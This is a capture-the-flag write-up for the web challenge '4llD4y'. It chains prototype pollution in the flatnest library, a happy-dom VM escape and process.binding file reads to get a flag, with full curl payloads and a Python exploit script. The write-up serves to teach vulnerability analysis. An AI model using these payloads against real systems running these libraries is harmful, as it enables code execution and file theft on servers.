4llD4y
4llD4y
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: process_binding_fs, prototype_pollution_via_circular_reference, vm_escape
Summary
Walkthrough of the CUSTOM Web 4llD4y. Challenge URL: http://challenges3.ctf.sd:34102/
Description
"Stuck in the same day."
Challenge URL: http://challenges3.ctf.sd:34102/
Node.js Express application with two endpoints:
/config— callsnest(incoming)from the flatnest library/render— creates a new happy-dom Window and renders HTML
Source Code
app.js
javascript read-only • copy allowedimport express from 'express'; import { Window } from 'happy-dom'; import { nest } from 'flatnest'; const app = express(); app.use(express.json({ limit: '1mb' })); app.post('/config', (req, res) => { const incoming = typeof req.body === 'object' && req.body ? req.body : {}; try { nest(incoming); } catch (error) { return res.status(400).json({ error: 'invalid config', details: error.message }); } return res.json({ message: 'configuration applied' }); }); app.post('/render', (req, res) => { try{ const html = typeof req.body?.html === 'string' ? req.body.html : ''; const window = new Window({ console}); window.document.write(html); const output = window.document.documentElement.outerHTML; res.type('html').send(output); } catch(e){ console.log("Error ", e) res.json({"Error": e}) } }); app.listen(3000, '0.0.0.0', () => { console.log('Happy DOM listening on http://localhost:3000'); });
package.json
json read-only • copy allowed{ "name": "happy-dom-challenge", "version": "1.0.0", "type": "module", "main": "app.js", "dependencies": { "express": "^5.2.1", "happy-dom": "^20.3.1", "flatnest": "^1.0.1" } }
init.sh
bash read-only • copy allowed#!/bin/sh echo "$FLAG" >> /flag_$(head -c 8 /dev/urandom | od -An -tx1 | tr -d ' ').txt unset FLAG export FLAG=Nope supervisord -c /etc/supervisor/conf.d/supervisord.conf
The flag is written to a file with a random name /flag_<random>.txt.
Analysis
Vulnerability 1: Prototype Pollution in flatnest via Circular Reference
The flatnest library version 1.0.1 has a nest() function that transforms a flat object into a nested one:
javascript read-only • copy allowed// Example: {"a.b.c": 1} -> {a: {b: {c: 1}}}
The insert() function has protection against __proto__ and constructor:
javascript read-only • copy allowedfunction insert(obj, path, value) { // ... checks for __proto__ and constructor }
However, the seek() function used for handling circular references does NOT have such protection:
javascript read-only • copy allowedfunction seek(obj, path) { // No checks for __proto__ or constructor! const parts = path.split('.'); let current = obj; for (const part of parts) { current = current[part]; } return current; }
When a value starts with [Circular ( and ends with )], flatnest calls seek() with the path inside the brackets:
javascript read-only • copy allowedif (typeof value === 'string' && value.startsWith('[Circular (') && value.endsWith(')]')) { const circularPath = value.slice(11, -2); // Extracts the path value = seek(obj, circularPath); // Calls seek() WITHOUT sanitization! }
Exploitation:
json read-only • copy allowed{ "x": "[Circular (constructor.prototype)]", "x.settings": {"enableJavaScriptEvaluation": true} }
xgets the value[Circular (constructor.prototype)]- flatnest calls
seek(obj, "constructor.prototype") seek()returnsObject.prototype(viaobj.constructor.prototype)- Then
x.settingssetsObject.prototype.settings = {...}
Vulnerability 2: Enabling JavaScript in happy-dom
In happy-dom v20+, JavaScript execution is disabled by default (enableJavaScriptEvaluation: false).
The Window constructor accepts options:
javascript read-only • copy allowedconst window = new Window({ console });
If an empty object or an object without settings is passed, happy-dom looks for settings in the prototype:
javascript read-only • copy allowed// Inside happy-dom: const settings = options.settings || {}; // If options.settings is undefined, Object.prototype.settings is checked
After prototype pollution:
javascript read-only • copy allowedObject.prototype.settings = { enableJavaScriptEvaluation: true };
Now new Window({}) will have enableJavaScriptEvaluation: true.
Vulnerability 3: VM Escape in happy-dom (CVE-2025-61927)
After enabling JavaScript, code executes in an isolated VM context. However, there's a way to escape it:
javascript read-only • copy allowedconst process = this.constructor.constructor('return process')();
This works because:
this— object in VM contextthis.constructor— object constructor (Object)this.constructor.constructor— Function from the main Node.js contextFunction('return process')()returns the globalprocessobject
Reading Files via process.binding
In ESM mode, process.mainModule.require doesn't work. But process.binding('fs') provides direct access to the filesystem:
javascript read-only • copy allowedconst fs = process.binding('fs'); // List files in directory const files = fs.readdir('/', 1, false); // encoding=1 for UTF-8 // Read file const content = fs.readFileUtf8('/flag.txt', 0);
Solution
Step 1: Prototype Pollution via /config
bash read-only • copy allowedcurl -X POST http://challenges3.ctf.sd:34102/config \ -H "Content-Type: application/json" \ -d '{ "x": "[Circular (constructor.prototype)]", "x.settings": {"enableJavaScriptEvaluation": true} }'
Response:
json read-only • copy allowed{"message": "configuration applied"}
Step 2: Getting the List of Files in Root
bash read-only • copy allowedcurl -X POST http://challenges3.ctf.sd:34102/render \ -H "Content-Type: application/json" \ -d '{ "html": "<script>const process = this.constructor.constructor(\"return process\")(); const fs = process.binding(\"fs\"); const files = fs.readdir(\"/\", 1, false); document.body.innerHTML = JSON.stringify(files);</script>" }'
The response contains a list of files, including flag_890d1a5ed71faa61.txt.
Step 3: Reading the Flag
bash read-only • copy allowedcurl -X POST http://challenges3.ctf.sd:34102/render \ -H "Content-Type: application/json" \ -d '{ "html": "<script>const process = this.constructor.constructor(\"return process\")(); const fs = process.binding(\"fs\"); document.body.innerHTML = fs.readFileUtf8(\"/flag_890d1a5ed71faa61.txt\", 0);</script>" }'
Full Exploit (Python)
python read-only • copy allowed#!/usr/bin/env python3 """ 0xl4ugh CTF - 4llD4y Prototype Pollution + happy-dom VM Escape """ import requests import re TARGET = "http://challenges3.ctf.sd:34102" def exploit(): s = requests.Session() # Step 1: Prototype pollution via circular reference bypass print("[*] Step 1: Polluting Object.prototype.settings...") r = s.post(f"{TARGET}/config", json={ "x": "[Circular (constructor.prototype)]", "x.settings": {"enableJavaScriptEvaluation": True} }) print(f" Response: {r.json()}") # Step 2: List root directory to find flag filename print("[*] Step 2: Listing / directory...") payload_list = '''<script> const process = this.constructor.constructor("return process")(); const fs = process.binding("fs"); const files = fs.readdir("/", 1, false); document.body.innerHTML = JSON.stringify(files); </script>''' r = s.post(f"{TARGET}/render", json={"html": payload_list}) # Find flag file flag_match = re.search(r'flag_[a-f0-9]+\.txt', r.text) if not flag_match: print("[-] Flag file not found!") print(f" Response: {r.text[:500]}") return flag_file = flag_match.group(0) print(f" Found flag file: {flag_file}") # Step 3: Read flag print("[*] Step 3: Reading flag...") payload_read = f'''<script> const process = this.constructor.constructor("return process")(); const fs = process.binding("fs"); document.body.innerHTML = fs.readFileUtf8("/{flag_file}", 0); </script>''' r = s.post(f"{TARGET}/render", json={"html": payload_read}) # Extract flag flag_match = re.search(r'0xL4ugh\{[^}]+\}', r.text) if flag_match: print(f"\n[+] FLAG: {flag_match.group(0)}") else: print(f" Response: {r.text}") if __name__ == "__main__": exploit()
Attack Chain
Prototype Pollution (flatnest circular ref bypass)
↓
Object.prototype.settings = {enableJavaScriptEvaluation: true}
↓
happy-dom Window reads polluted settings
↓
JavaScript execution enabled in VM
↓
VM Escape via this.constructor.constructor
↓
process.binding('fs') for file access
↓
readdir() + readFileUtf8() → FLAG
References
- flatnest npm
- happy-dom GitHub
- CVE-2025-61927 - happy-dom VM Escape
- Prototype Pollution Attacks
Key Takeaways / Lessons
- Mastering process_binding_fs, prototype_pollution_via_circular_reference, vm_escape was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-23 • CUSTOM • 4llD4y • Difficulty: Medium